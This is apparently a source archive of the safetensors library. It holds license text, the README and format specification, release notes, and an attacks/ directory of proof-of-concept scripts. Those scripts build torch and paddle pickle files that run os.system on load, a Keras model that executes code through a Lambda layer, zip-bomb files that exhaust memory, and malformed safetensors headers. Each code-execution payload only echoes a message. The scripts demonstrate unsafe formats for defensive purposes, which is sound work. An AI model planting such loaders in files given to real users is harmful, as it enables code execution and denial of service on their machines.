(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
safetensors-0.5.2/Makefile 0000664 0000000 0000000 00000000131 14737533723 0015523 0 ustar 00root root 0000000 0000000 doc:
cd safetensors && cargo readme > README.md && cargo readme > ../README.md && cd ..
safetensors-0.5.2/README.md 0000664 0000000 0000000 00000024413 14737533723 0015353 0 ustar 00root root 0000000 0000000
Python
[](https://pypi.org/pypi/safetensors/)
[](https://huggingface.co/docs/safetensors/index)
[](https://codecov.io/gh/huggingface/safetensors)
[](https://pepy.tech/project/safetensors)
Rust
[](https://crates.io/crates/safetensors)
[](https://docs.rs/safetensors/)
[](https://codecov.io/gh/huggingface/safetensors)
[](https://deps.rs/repo/github/huggingface/safetensors?path=safetensors)
# safetensors
## Safetensors
This repository implements a new simple format for storing tensors
safely (as opposed to pickle) and that is still fast (zero-copy).
### Installation
#### Pip
You can install safetensors via the pip manager:
```bash
pip install safetensors
```
#### From source
For the sources, you need Rust
```bash
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# Make sure it's up to date and using stable channel
rustup update
git clone https://github.com/huggingface/safetensors
cd safetensors/bindings/python
pip install setuptools_rust
pip install -e .
```
### Getting started
```python
import torch
from safetensors import safe_open
from safetensors.torch import save_file
tensors = {
"weight1": torch.zeros((1024, 1024)),
"weight2": torch.zeros((1024, 1024))
}
save_file(tensors, "model.safetensors")
tensors = {}
with safe_open("model.safetensors", framework="pt", device="cpu") as f:
for key in f.keys():
tensors[key] = f.get_tensor(key)
```
[Python documentation](https://huggingface.co/docs/safetensors/index)
### Format
- 8 bytes: `N`, an unsigned little-endian 64-bit integer, containing the size of the header
- N bytes: a JSON UTF-8 string representing the header.
- The header data MUST begin with a `{` character (0x7B).
- The header data MAY be trailing padded with whitespace (0x20).
- The header is a dict like `{"TENSOR_NAME": {"dtype": "F16", "shape": [1, 16, 256], "data_offsets": [BEGIN, END]}, "NEXT_TENSOR_NAME": {...}, ...}`,
- `data_offsets` point to the tensor data relative to the beginning of the byte buffer (i.e. not an absolute position in the file),
with `BEGIN` as the starting offset and `END` as the one-past offset (so total tensor byte size = `END - BEGIN`).
- A special key `__metadata__` is allowed to contain free form string-to-string map. Arbitrary JSON is not allowed, all values must be strings.
- Rest of the file: byte-buffer.
Notes:
- Duplicate keys are disallowed. Not all parsers may respect this.
- In general the subset of JSON is implicitly decided by `serde_json` for
this library. Anything obscure might be modified at a later time, that odd ways
to represent integer, newlines and escapes in utf-8 strings. This would only
be done for safety concerns
- Tensor values are not checked against, in particular NaN and +/-Inf could
be in the file
- Empty tensors (tensors with 1 dimension being 0) are allowed.
They are not storing any data in the databuffer, yet retaining size in the header.
They don't really bring a lot of values but are accepted since they are valid tensors
from traditional tensor libraries perspective (torch, tensorflow, numpy, ..).
- 0-rank Tensors (tensors with shape `[]`) are allowed, they are merely a scalar.
- The byte buffer needs to be entirely indexed, and cannot contain holes. This prevents
the creation of polyglot files.
- Endianness: Little-endian.
moment.
- Order: 'C' or row-major.
### Yet another format ?
The main rationale for this crate is to remove the need to use
`pickle` on `PyTorch` which is used by default.
There are other formats out there used by machine learning and more general
formats.
Let's take a look at alternatives and why this format is deemed interesting.
This is my very personal and probably biased view:
| Format | Safe | Zero-copy | Lazy loading | No file size limit | Layout control | Flexibility | Bfloat16/Fp8
| ----------------------- | --- | --- | --- | --- | --- | --- | --- |
| pickle (PyTorch) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
| H5 (Tensorflow) | 🗸 | ✗ | 🗸 | 🗸 | ~ | ~ | ✗ |
| SavedModel (Tensorflow) | 🗸 | ✗ | ✗ | 🗸 | 🗸 | ✗ | 🗸 |
| MsgPack (flax) | 🗸 | 🗸 | ✗ | 🗸 | ✗ | ✗ | 🗸 |
| Protobuf (ONNX) | 🗸 | ✗ | ✗ | ✗ | ✗ | ✗ | 🗸 |
| Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ |
| Arrow | ? | ? | ? | ? | ? | ? | ✗ |
| Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ |
| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
| SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 |
- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ?
- Zero-copy: Does reading the file require more memory than the original file ?
- Lazy loading: Can I inspect the file without loading everything ? And loading only
some tensors in it without scanning the whole file (distributed setting) ?
- Layout control: Lazy loading, is not necessarily enough since if the information about tensors is spread out in your file, then even if the information is lazily accessible you might have to access most of your file to read the available tensors (incurring many DISK -> RAM copies). Controlling the layout to keep fast access to single tensors is important.
- No file size limit: Is there a limit to the file size ?
- Flexibility: Can I save custom code in the format and be able to use it later with zero extra code ? (~ means we can store more than pure tensors, but no custom code)
- Bfloat16/Fp8: Does the format support native bfloat16/fp8 (meaning no weird workarounds are
necessary)? This is becoming increasingly important in the ML world.
### Main oppositions
- Pickle: Unsafe, runs arbitrary code
- H5: Apparently now discouraged for TF/Keras. Seems like a great fit otherwise actually. Some classic use after free issues: . On a very different level than pickle security-wise. Also 210k lines of code vs ~400 lines for this lib currently.
- SavedModel: Tensorflow specific (it contains TF graph information).
- MsgPack: No layout control to enable lazy loading (important for loading specific parts in distributed setting)
- Protobuf: Hard 2Go max file size limit
- Cap'n'proto: Float16 support is not present [link](https://capnproto.org/language.html#built-in-types) so using a manual wrapper over a byte-buffer would be necessary. Layout control seems possible but not trivial as buffers have limitations [link](https://stackoverflow.com/questions/48458839/capnproto-maximum-filesize).
- Numpy (npz): No `bfloat16` support. Vulnerable to zip bombs (DOS). Not zero-copy.
- Arrow: No `bfloat16` support.
### Notes
- Zero-copy: No format is really zero-copy in ML, it needs to go from disk to RAM/GPU RAM (that takes time). On CPU, if the file is already in cache, then it can
truly be zero-copy, whereas on GPU there is not such disk cache, so a copy is always required
but you can bypass allocating all the tensors on CPU at any given point.
SafeTensors is not zero-copy for the header. The choice of JSON is pretty arbitrary, but since deserialization is <<< of the time required to load the actual tensor data and is readable I went that way, (also space is <<< to the tensor data).
- Endianness: Little-endian. This can be modified later, but it feels really unnecessary at the
moment.
- Order: 'C' or row-major. This seems to have won. We can add that information later if needed.
- Stride: No striding, all tensors need to be packed before being serialized. I have yet to see a case where it seems useful to have a strided tensor stored in serialized format.
### Benefits
Since we can invent a new format we can propose additional benefits:
- Prevent DOS attacks: We can craft the format in such a way that it's almost
impossible to use malicious files to DOS attack a user. Currently, there's a limit
on the size of the header of 100MB to prevent parsing extremely large JSON.
Also when reading the file, there's a guarantee that addresses in the file
do not overlap in any way, meaning when you're loading a file you should never
exceed the size of the file in memory
- Faster load: PyTorch seems to be the fastest file to load out in the major
ML formats. However, it does seem to have an extra copy on CPU, which we
can bypass in this lib by using `torch.UntypedStorage.from_file`.
Currently, CPU loading times are extremely fast with this lib compared to pickle.
GPU loading times are as fast or faster than PyTorch equivalent.
Loading first on CPU with memmapping with torch, and then moving all tensors to GPU seems
to be faster too somehow (similar behavior in torch pickle)
- Lazy loading: in distributed (multi-node or multi-gpu) settings, it's nice to be able to
load only part of the tensors on the various models. For
[BLOOM](https://huggingface.co/bigscience/bloom) using this format enabled
to load the model on 8 GPUs from 10mn with regular PyTorch weights down to 45s.
This really speeds up feedbacks loops when developing on the model. For instance
you don't have to have separate copies of the weights when changing the distribution
strategy (for instance Pipeline Parallelism vs Tensor Parallelism).
License: Apache-2.0
safetensors-0.5.2/RELEASE.md 0000664 0000000 0000000 00000012057 14737533723 0015477 0 ustar 00root root 0000000 0000000 ## How to release
# Before the release
Simple checklist on how to make releases for `safetensors`.
- Freeze `main` branch.
- Run all tests (Check CI has properly run)
- If any significant work, check benchmarks:
- `cd safetensors && cargo bench` (needs to be run on latest release tag to measure difference if it's your first time)
- Run all `transformers` tests. (`transformers` is a big user of `safetensors` we need
to make sure we don't break it, testing is one way to make sure nothing unforeseen
has been done.)
- Run all fast tests at the VERY least (not just the tokenization tests). (`RUN_PIPELINE_TESTS=1 CUDA_VISIBLE_DEVICES=-1 pytest -sv tests/`)
- When all *fast* tests work, then we can also (it's recommended) run the whole `transformers`
test suite.
- Rebase this [PR](https://github.com/huggingface/transformers/pull/16708).
This will create new docker images ready to run the tests suites with `safetensors` from the main branch.
- Wait for actions to finish
- Rebase this [PR](https://github.com/huggingface/transformers/pull/16712)
This will run the actual full test suite.
- Check the results.
- **If any breaking change has been done**, make sure the version can safely be increased for transformers users (`safetensors` version need to make sure users don't upgrade before `transformers` has). [link](https://github.com/huggingface/transformers/blob/main/setup.py#L154)
For instance `safetensors>=0.10,<0.11` so we can safely upgrade to `0.11` without impacting
current users
- Then start a new PR containing all desired code changes from the following steps.
- You will `Create release` after the code modifications are on `master`.
# Rust
- `safetensors` (rust, python & node) versions don't have to be in sync but it's
very common to release for all versions at once for new features.
- Edit `Cargo.toml` to reflect new version
- Edit `CHANGELOG.md`:
- Add relevant PRs that were added (python PRs do not belong for instance).
- Add links at the end of the files.
- Go to [Releases](https://github.com/huggingface/safetensors/releases)
- Create new Release:
- Mark it as pre-release
- Use new version name with a new tag (create on publish) `vX.X.X`.
- Copy paste the new part of the `CHANGELOG.md`
- âš ï¸ Click on `Publish release`. This will start the whole process of building a uploading
the new version on `crates.io`, there's no going back after this
- Go to the [Actions](https://github.com/huggingface/safetensors/actions) tab and check everything works smoothly.
- If anything fails, you need to fix the CI/CD to make it work again. Since your package was not uploaded to the repository properly, you can try again.
# Python
- Edit `bindings/python/setup.py` to reflect new version.
- Edit `bindings/python/py_src/safetensors/__init__.py` to reflect new version.
- Edit `CHANGELOG.md`:
- Add relevant PRs that were added (node PRs do not belong for instance).
- Add links at the end of the files.
- Go to [Releases](https://github.com/huggingface/safetensors/releases)
- Create new Release:
- Mark it as pre-release
- Use new version name with a new tag (create on publish) `python-vX.X.X`.
- Copy paste the new part of the `CHANGELOG.md`
- âš ï¸ Click on `Publish release`. This will start the whole process of building a uploading
the new version on `pypi`, there's no going back after this
- Go to the [Actions](https://github.com/huggingface/safetensors/actions) tab and check everything works smoothly.
- If anything fails, you need to fix the CI/CD to make it work again. Since your package was not uploaded to the repository properly, you can try again.
- This CI/CD has 3 distinct builds, `Pypi`(normal), `conda` and `extra`. `Extra` is REALLY slow (~4h), this is normal since it has to rebuild many things, but enables the wheel to be available for old Linuxes
# Node
- Edit `bindings/node/package.json` to reflect new version.
- Edit `CHANGELOG.md`:
- Add relevant PRs that were added (python PRs do not belong for instance).
- Add links at the end of the files.
- Go to [Releases](https://github.com/huggingface/safetensors/releases)
- Create new Release:
- Mark it as pre-release
- Use new version name with a new tag (create on publish) `node-vX.X.X`.
- Copy paste the new part of the `CHANGELOG.md`
- âš ï¸ Click on `Publish release`. This will start the whole process of building a uploading
the new version on `npm`, there's no going back after this
- Go to the [Actions](https://github.com/huggingface/safetensors/actions) tab and check everything works smoothly.
- If anything fails, you need to fix the CI/CD to make it work again. Since your package was not uploaded to the repository properly, you can try again.
# Testing the CI/CD for release
If you want to make modifications to the CI/CD of the release GH actions, you need
to :
- **Comment the part that uploads the artifacts** to `crates.io`, `PyPi` or `npm`.
- Change the trigger mechanism so it can trigger every time you push to your branch.
- Keep pushing your changes until the artifacts are properly created.
safetensors-0.5.2/attacks/ 0000775 0000000 0000000 00000000000 14737533723 0015522 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/attacks/README.md 0000664 0000000 0000000 00000005656 14737533723 0017015 0 ustar 00root root 0000000 0000000 The purpose of this directory is to showcase various attacks (and creating your own).
# Torch Arbitrary code execution
Try it out. This will create a seemingly innocuous `torch_ace.pt` file.
```
python torch_ace_create.py
python torch_ace_get_pwned.py
```
# PaddlePaddle Arbitrary code execution
Try it out. This will create a seemingly innocuous `paddle_ace.pdparams` file.
```
python paddle_ace_create.py
python paddle_ace_get_pwned.py
```
# Tensorflow (Keras) Arbitrary Code execution (does not affect `transformers`)
Try it out. This will create a seemingly innocuous `tf_ace.h5` file.
```
python tf_dos_create.py
python tf_dos_get_pwned.py
```
# Torch Denial of Service (OOM kills the running process)
Try it out. This will create a seemingly innocuous `torch_dos.pt` file.
```
python torch_dos_create.py
python torch_dos_get_pwned.py
```
# Numpy Denial of Service (OOM kills the running process)
Try it out. This will create a seemingly innocuous `numpy_dos.npz` file.
```
python numpy_dos_create.py
python numpy_dos_get_pwned.py
```
# Safetensors abuse attempts
In order to try and check the limits, we also try to abuse the current format.
Please send ideas!
A few things can be abused:
- Proposal 1: The initial 8 bytes, which could be too big with regards to the file. This crashes, and crashes early (Out of bounds) (Attempt #1).
- Proposal 2: The initial header is JSON, an attacker could use a 4Go JSON file to delay the loads. Debattable how much of an attack this is, but at least
it's impossible to "bomb" (like the DOS attacks above) where the files are vastly smaller than their expanded version (because of zip abuse).
Various "protections" could be put in place, like a header proportion cap (header should always be <<< of the size of the file). (Attempt #2)
- Proposal 3: The offsets could be negative, out of the file. This is all crashing by default.
- Proposal 4: The offsets could overlap. ~~This is actually OK.~~ This is NOT ok.
While testing Proposal 2, I realized that the tensors themselves where all allocated, and gave me an idea for a DOS exploit where you would have a relatively small
file a few megs tops, but defining many tensors on the same overlapping part of the file, it was essentially a DOS attack. The mitigation is rather simple, we sanitize the fact
that the offsets must be contiguous and non overlapping.
- Proposal 5: The offsets could mismatch the declared shapes + dtype. This validated against.
- Proposal 6: The file being mmaped could be modified while it's opened (attacker has access to your filesystem, seems like you're already pwned).
- Proposal 7: serde JSON deserialization abuse (nothing so far: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=serde). It doesn't mean there isn't a flaw. Same goes for the actual rust compiled binary.
```
python safetensors_abuse_attempt_1.py
python safetensors_abuse_attempt_2.py
python safetensors_abuse_attempt_3.py
```
safetensors-0.5.2/attacks/numpy_dos_create.py 0000664 0000000 0000000 00000000517 14737533723 0021437 0 ustar 00root root 0000000 0000000 from zipfile import ZIP_DEFLATED, ZipFile
FILESIZE = 40 * 1000 # 40 Go
BUFFER = b"\0" * 1000 * 1000 # 1Mo
outfilename = "numpy_dos.npz"
with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip:
with outzip.open("weights.npy", "w", force_zip64=True) as f:
for i in range(FILESIZE):
f.write(BUFFER)
safetensors-0.5.2/attacks/numpy_dos_get_pwned.py 0000664 0000000 0000000 00000000663 14737533723 0022152 0 ustar 00root root 0000000 0000000 import os
import numpy as np
filename = "numpy_dos.npz"
print(
f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine."
)
print("Be careful this might crash your computer by reserving way too much RAM")
input("Press Enter to continue")
archive = np.load(filename)
weights = archive["weight"]
assert np.allclose(weights, np.zeros((2, 2)))
print("The file looks fine !")
safetensors-0.5.2/attacks/paddle_ace_create.py 0000664 0000000 0000000 00000002736 14737533723 0021470 0 ustar 00root root 0000000 0000000 import paddle
import numpy as np
from collections import Iterable, OrderedDict
def _parse_every_object(obj, condition_func, convert_func):
if condition_func(obj):
return convert_func(obj)
elif isinstance(obj, (dict, OrderedDict, list)):
if isinstance(obj, list):
keys = range(len(obj))
else:
keys = list(obj.keys())
for key in keys:
if condition_func(obj[key]):
obj[key] = convert_func(obj[key])
else:
obj[key] = _parse_every_object(
obj[key], condition_func, convert_func
)
return obj
elif isinstance(obj, tuple):
return tuple(
_parse_every_object(list(obj), condition_func, convert_func)
)
elif isinstance(obj, set):
object(list(obj), condition_func, convert_func)
else:
return obj
# hack _parse_every_object method
paddle.framework.io._parse_every_object = _parse_every_object
class BadDict(dict):
def __init__(self, src: str, **kwargs):
super().__init__(**kwargs)
self.src = src
def __reduce__(self):
return (
eval,
(f"os.system('{self.src}') or dict()",),
None,
None,
iter(self.items()),
)
paddle.save(
[BadDict(
'echo "pwned your computer, I can do anything I want."',
**{"weight": paddle.zeros((2, 2))},
)],
"paddle_ace.pdparams",
)
safetensors-0.5.2/attacks/paddle_ace_get_pwned.py 0000664 0000000 0000000 00000000310 14737533723 0022163 0 ustar 00root root 0000000 0000000 import paddle
weights = paddle.load("paddle_ace.pdparams")[0]
assert list(weights.keys()) == ["weight"]
assert paddle.allclose(weights["weight"], paddle.zeros((2, 2)))
print("The file looks fine !")
safetensors-0.5.2/attacks/safetensors_abuse_attempt_1.py 0000664 0000000 0000000 00000001031 14737533723 0023560 0 ustar 00root root 0000000 0000000 import torch
from safetensors.torch import load_file, save_file
filename = "safetensors_abuse_attempt_1.safetensors"
def create_payload():
weights = {"weight": torch.zeros((2, 2))}
save_file(weights, filename)
with open(filename, "r+b") as f:
f.seek(0)
# Now the header claims 2**32 - xx even though the file is small
n = 1000
n_bytes = n.to_bytes(8, "little")
f.write(n_bytes)
create_payload()
# This properly crashes with an out of bounds exception.
test = load_file(filename)
safetensors-0.5.2/attacks/safetensors_abuse_attempt_2.py 0000664 0000000 0000000 00000001427 14737533723 0023572 0 ustar 00root root 0000000 0000000 import datetime
import json
import os
from safetensors.torch import load_file
filename = "safetensors_abuse_attempt_2.safetensors"
def create_payload():
shape = [2, 2]
n = shape[0] * shape[1] * 4
metadata = {
f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 1000 * 10)
}
binary = json.dumps(metadata).encode("utf-8")
n = len(binary)
n_header = n.to_bytes(8, "little")
with open(filename, "wb") as f:
f.write(n_header)
f.write(binary)
f.write(b"\0" * n)
create_payload()
print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo")
start = datetime.datetime.now()
test = load_file(filename)
print(f"Loading the file took {datetime.datetime.now() - start}")
safetensors-0.5.2/attacks/safetensors_abuse_attempt_3.py 0000664 0000000 0000000 00000001406 14737533723 0023570 0 ustar 00root root 0000000 0000000 import datetime
import json
import os
from safetensors.torch import load_file
filename = "safetensors_abuse_attempt_2.safetensors"
def create_payload():
shape = [200, 200]
n = shape[0] * shape[1] * 4
metadata = {f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 100)}
binary = json.dumps(metadata).encode("utf-8")
n = len(binary)
n_header = n.to_bytes(8, "little")
with open(filename, "wb") as f:
f.write(n_header)
f.write(binary)
f.write(b"\0" * n)
create_payload()
print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo")
start = datetime.datetime.now()
test = load_file(filename)
print(f"Loading the file took {datetime.datetime.now() - start}")
safetensors-0.5.2/attacks/tf_ace_create.py 0000664 0000000 0000000 00000000743 14737533723 0020644 0 ustar 00root root 0000000 0000000 import tensorflow as tf
def exec_(*args, **kwargs):
import os
os.system('echo "########################################\nI own you.\n########################################"')
return 10
num_classes = 10
input_shape = (28, 28, 1)
model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")])
###
# model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
model.save("tf_ace.h5")
###
safetensors-0.5.2/attacks/tf_ace_get_pwned.py 0000664 0000000 0000000 00000000751 14737533723 0021354 0 ustar 00root root 0000000 0000000 import base64
import json
import h5py
import tensorflow as tf
new_model = tf.keras.models.load_model("tf.h5")
print("Transformers is not vulnerable to this, as it uses h5 directly.")
print("Keras uses a pickled code of the function within the `h5` attrs of the file")
print("Let's show you the marshalled code")
with h5py.File("tf_ace.h5") as f:
data = json.loads(f.attrs["model_config"])
print(base64.b64decode(data["config"]["layers"][-1]["config"]["function"][0]))
pass
safetensors-0.5.2/attacks/tf_safe_ace_create.py 0000664 0000000 0000000 00000000634 14737533723 0021641 0 ustar 00root root 0000000 0000000 import tensorflow as tf
def exec_(*args, **kwargs):
import os
os.system('echo "########################################\nI own you.\n########################################"')
return 10
num_classes = 10
input_shape = (28, 28, 1)
model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")])
model.save("tf_ace.keras", save_format="keras_v3")
safetensors-0.5.2/attacks/tf_safe_ace_get_pwned.py 0000664 0000000 0000000 00000000120 14737533723 0022340 0 ustar 00root root 0000000 0000000 import tensorflow as tf
new_model = tf.keras.models.load_model("tf_ace.keras")
safetensors-0.5.2/attacks/torch_ace_create.py 0000664 0000000 0000000 00000000757 14737533723 0021357 0 ustar 00root root 0000000 0000000 import torch
class BadDict(dict):
def __init__(self, src: str, **kwargs):
super().__init__(**kwargs)
self.src = src
def __reduce__(self):
return (
eval,
(f"os.system('{self.src}') or dict()",),
None,
None,
iter(self.items()),
)
torch.save(
BadDict(
'echo "pwned your computer, I can do anything I want."',
**{"weight": torch.zeros((2, 2))},
),
"torch_ace.pt",
)
safetensors-0.5.2/attacks/torch_ace_get_pwned.py 0000664 0000000 0000000 00000000272 14737533723 0022060 0 ustar 00root root 0000000 0000000 import torch
weights = torch.load("torch_ace.pt")
assert list(weights.keys()) == ["weight"]
assert torch.allclose(weights["weight"], torch.zeros((2, 2)))
print("The file looks fine !")
safetensors-0.5.2/attacks/torch_dos_create.py 0000664 0000000 0000000 00000001277 14737533723 0021412 0 ustar 00root root 0000000 0000000 import os
from zipfile import ZIP_DEFLATED, ZipFile
import torch
FILESIZE = 40 * 1000 # 40 Go
BUFFER = b"\0" * 1000 * 1000 # 1 Mo
filename = "torch_dos_tmp.pt"
torch.save({"weight": torch.zeros((2, 2))}, filename)
with ZipFile(filename, "r") as torch_zip:
outfilename = "torch_dos.pt"
with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip:
outzip.writestr("archive/data.pkl", torch_zip.open("archive/data.pkl").read())
outzip.writestr("archive/version", torch_zip.open("archive/version").read())
with outzip.open("archive/data/0", "w", force_zip64=True) as f:
for i in range(FILESIZE):
f.write(BUFFER)
os.remove(filename)
safetensors-0.5.2/attacks/torch_dos_get_pwned.py 0000664 0000000 0000000 00000000715 14737533723 0022117 0 ustar 00root root 0000000 0000000 import os
import torch
filename = "torch_dos.pt"
print(
f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine."
)
print("Be careful this might crash your computer by reserving way too much RAM")
input("Press Enter to continue")
weights = torch.load(filename)
assert list(weights.keys()) == ["weight"]
assert torch.allclose(weights["weight"], torch.zeros((2, 2)))
print("The file looks fine !")
safetensors-0.5.2/bindings/ 0000775 0000000 0000000 00000000000 14737533723 0015665 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/bindings/.DS_Store 0000664 0000000 0000000 00000014004 14737533723 0017347 0 ustar 00root root 0000000 0000000 Bud1 o nbwspblob p y t h o nbwspblob ¸bplist00Ö]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar _{{900, 282}, {900, 281}} #/;R_klmnoŠ
‹ p y t h o nvSrnlong @ € @ € @ € @ E DSDB ` € @ € @ € @ safetensors-0.5.2/bindings/python/ 0000775 0000000 0000000 00000000000 14737533723 0017206 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/bindings/python/.gitignore 0000664 0000000 0000000 00000001255 14737533723 0021201 0 ustar 00root root 0000000 0000000 /target
# Byte-compiled / optimized / DLL files
__pycache__/
.pytest_cache/
*.py[cod]
# C extensions
*.so
# Distribution / packaging
.Python
.venv/
env/
bin/
build/
develop-eggs/
dist/
eggs/
lib/
lib64/
parts/
sdist/
var/
include/
man/
venv/
*.egg-info/
.installed.cfg
*.egg
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
pip-selfcheck.json
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.cache
nosetests.xml
coverage.xml
# Translations
*.mo
# Mr Developer
.mr.developer.cfg
.project
.pydevproject
# Rope
.ropeproject
# Django stuff:
*.log
*.pot
.DS_Store
# Sphinx documentation
docs/_build/
# PyCharm
.idea/
# VSCode
.vscode/
# Pyenv
.python-version safetensors-0.5.2/bindings/python/Cargo.lock 0000664 0000000 0000000 00000013747 14737533723 0021127 0 ustar 00root root 0000000 0000000 # This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "autocfg"
version = "1.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
[[package]]
name = "cfg-if"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
[[package]]
name = "heck"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
[[package]]
name = "indoc"
version = "2.0.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b248f5224d1d606005e02c97f5aa4e88eeb230488bcc03bc9ca4d7991399f2b5"
[[package]]
name = "itoa"
version = "1.0.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d75a2a4b1b190afb6f5425f10f6a8f959d2ea0b9c2b1d79553551850539e4674"
[[package]]
name = "libc"
version = "0.2.169"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a"
[[package]]
name = "memchr"
version = "2.7.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
[[package]]
name = "memmap2"
version = "0.9.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fd3f7eed9d3848f8b98834af67102b720745c4ec028fcd0aa0239277e7de374f"
dependencies = [
"libc",
]
[[package]]
name = "memoffset"
version = "0.9.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a"
dependencies = [
"autocfg",
]
[[package]]
name = "once_cell"
version = "1.20.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775"
[[package]]
name = "portable-atomic"
version = "1.10.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
